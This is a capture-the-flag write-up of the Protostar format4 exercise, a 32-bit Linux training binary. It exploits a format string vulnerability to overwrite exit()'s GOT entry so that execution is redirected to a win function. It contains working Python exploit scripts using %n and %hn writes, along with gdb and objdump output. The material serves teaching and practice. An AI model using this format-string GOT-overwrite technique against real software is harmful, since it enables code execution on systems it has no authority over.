Format String vuln.

Protostar/format4

(https://exploit-exercises.lains.space/protostar/format4)

(carried out on Debian 2.6.32-38 (32bit))

@ElliyahuRosha

Initial Examination

First, let's take a look at the source-code

format4.c

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void hello() {
    printf("code execution redirected! you win\n");
    _exit(1);
}

void vuln() {
    char buffer[512];
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    exit(1);
}

int main(int argc, char **argv) {
    vuln();
}
```

The ***main()*** function calls ***vuln()***.
The latter reads up to 512 characters from *stdin* into the ***buffer***, and then uses ***printf()*** to print the ***buffer***.

We also see that the ***buffer*** is placed as the first parameter of ***printf()*** - and that is the format parameter.

After the ***printf()*** there is a call to ***exit()***.
This means that function ***vuln()*** will never return.
It will perform the *syscall exit* to the kernel,
which will quit this process.

This means that in order to call ***hello()*** function, we must overwrite the *GOT (Global Offset Table)* entry for ***exit()*** with the address of ***hello()***.
Then instead of exit we execute ***hello()*** and thus get a win.

Stack Leakage

Let's begin with verifying that we have a ***format string vulnerability***, by specifying some format characters, and see if they are turned into numbers

```
[user@protostar] ~$ ./format4
%p %p %p %p
0x200 0xb7fd8420 0xbffff574 0x25207025
```

They are, indeed.

Next, in order to construct the *payload*, we must figure out a few addresses:
- address of the ***hello()*** function

```
(gdb) p hello
$1 = {void (void)} 0x80484b4 <hello>
```

- ***exit()***'s *GOT* entry, where we'll be writing ***hello()***'s address to

```
[user@protostar] ~$ objdump -TR format4

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   fgets
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   exit
080485ec g    DO .rodata        00000004  Base        _IO_stdin_used
08049730 g    DO .bss   00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit
```

Now, let's prepend some recognizable characters to the string and then try to see how far away our string appears on the *stack*

```
[user@protostar] ~$ for i in {1..50}; do echo -n "$i: "; echo "AAAA %$i\$p" | ./format4; done | grep 41414141
4: AAAA 0x41414141
```

OK, our string starts with the ***4th*** value.

we can use the ***4$*** notation in the *format string* to specifically reference that *offset*.

```
[user@protostar] ~$ ./format4
AAAA %4$p
AAAA 0x41414141
```

Overwriting GOT entry

Simulation

Taking things slowly, we’d like to simulate by hand overwriting the *GOT* entry using *gdb*

```
(gdb) b *0x0804850f
Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.
(gdb) r
Starting program: /home/user/format4
Hello World!
Hello World!

Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22
22      format4/format4.c: No such file or directory.
        in format4/format4.c
(gdb) x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb) set {int}0x08049724=0x080484b4
(gdb) x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080484b4
(gdb) c
Continuing.
code execution redirected! you win

Program exited with code 01.
(gdb)
```

Great! Now, let’s see how we can do it by abusing *format string*.

%n

Thanks to this very powerful *format specifier*, we can actually write to an address on the stack!
But it’s not that simple, ***%n*** can be used only to write the number of *previously* printed characters.

For example, let's say I want to override exit address with ***0x00000bad***.
In order to do so, I need to print **2989** (*0xbad* in *decimal*) arbitrary characters, (not so arbitrary - the first 4 bytes must be ***exit()***’s address, ***0x08049724***).

Consider the following *python* script

```python
import struct

exit_plt = 0x08049724
stack_offset = 4
bad = 0xbad


def pad(st):
    return st + (512-len(st))*"X"


bad_payload = ""
bad_payload += struct.pack("<I", exit_plt)
bad_payload += "%" + str(bad - 4) + "x%" + str(stack_offset) + "$n"


print(pad(bad_payload))

```

To make things “clear”, the *payload* is eventually:

\x24\x97\x04\08x%2985x%4$n

Then output the *payload* to a file

```
[user@protostar] ~$ python bad-payload.py > bad-payload
```

Now, using *gdb* to see if it worked

```
(gdb) b *0x0804850f
Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.
(gdb) r < bad-payload
Starting program: /home/user/format4 < bad-payload
$
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22
22      format4/format4.c: No such file or directory.
        in format4/format4.c
(gdb) x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000bad
```

Like a charm.

Generating the Final Payload

So! We have overwritten *GOT* with a fairly small number.
Now all we have to do is printing enough characters so that we reach the number which is the address of ***hello()***, ***0x080484b4***.
We just calculate what's ***0x080484b4*** in decimal… …

```
[user@protostar] ~$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x080484b4
134513844
>>>
```

Man, that’s a big number.
We have to print more than ***100 MILLION***(!!) characters.
That's like *100MB* of text!

Will it work?
Well, actually yeah,
but you know what?
There's another way, a more subtle one.

%hn

Let’s use a little trick - ***%hn*** instead of ***%n***.
The idea is that we could first write the *lower* two bytes with a much smaller value, and then perform another write to the *higher* bytes, thus constructing the whole 4-bytes.

Some math

Our goal is to write the two lower bytes so we want ***0x84b4***, which is ***33972***.
Then the two higher bytes, ***0x0804***, which is ***2052***.

```
[user@protostar] ~$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x84b4
33972
>>> 0x0804
2052
```

In order to address the two higher bytes, we move our address by two forward, ***exit_plt+2***, and perform the second write.

This means that for the second write we want to address the ***5th*** element on the stack.
We do it by *%5$hn*.

Now, we just have to figure out how many we need to write here.
So… The first write is ***33972*** long, but the first 8 bytes must be ***exit_plt*** and ***exit_plt+2***
It should look like this:

|| exit_plt || exit_plt+2 || 33972-8 arbitrary chars || "%4$hn" ||

Then the second write needs to be ***2052***, but we've already printed ***33972*** bytes...
Wait, how can we *unprint* some of the chars..?
Well, we can't. And we won't.

The thing is that in reality we don't only overwrite two bytes, we always overwrite four bytes (it means that we inevitably corrupt data that is stored behind our ***exit_plt***).

So, let's just write enough to increase the number such that we get ***0x1804*** instead of ***0x0804*** (it doesn't matter for the ***exit_plt***, because it will only see the other 4 bytes).

To make a long story short,
we now want ***0x0010804***, which is ***67588***.

Our *final payload* should look like this:

|| exit_plt || exit_plt+2 || 33972 - 8 arbitrary chars || "%4$hn" || 67588 - 33972 arbitrary chars || "%5hn"

We Win

Modifying out *python* script one last time

```python
import struct

hello = 0x80484b4
exit_plt = 0x8049724
stack_offset = 4

lower_bytes = (hello & 0xffff) - 8
higher_bytes = ((hello & 0xffff0000) >> 16) - (lower_bytes + 8)
if higher_bytes < 0:
    higher_bytes = ((hello & 0xffff0000) >> 16) + 16**4 - lower_bytes - 8


def pad(s):
    return s + (512-len(s))*"X"


payload = ""
payload += struct.pack("<I", exit_plt)
payload += struct.pack("<I", exit_plt+2)
payload += "%" + str(lower_bytes) + "x%" + str(stack_offset) + "$hn"
payload += "%" + str(higher_bytes) + "x%" + str(stack_offset+1) + "$hn"


print(pad(payload))
```

Again, output the *payload* to a file

```
[user@protostar] ~$ python bad-payload.py > bad-payload
```

And finally..

```
[user@protostar] ~$ cat payload | ./format4
$&

                                                                            b7fd8420XXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXcode execution redirected! you win
[user@protostar] ~$
```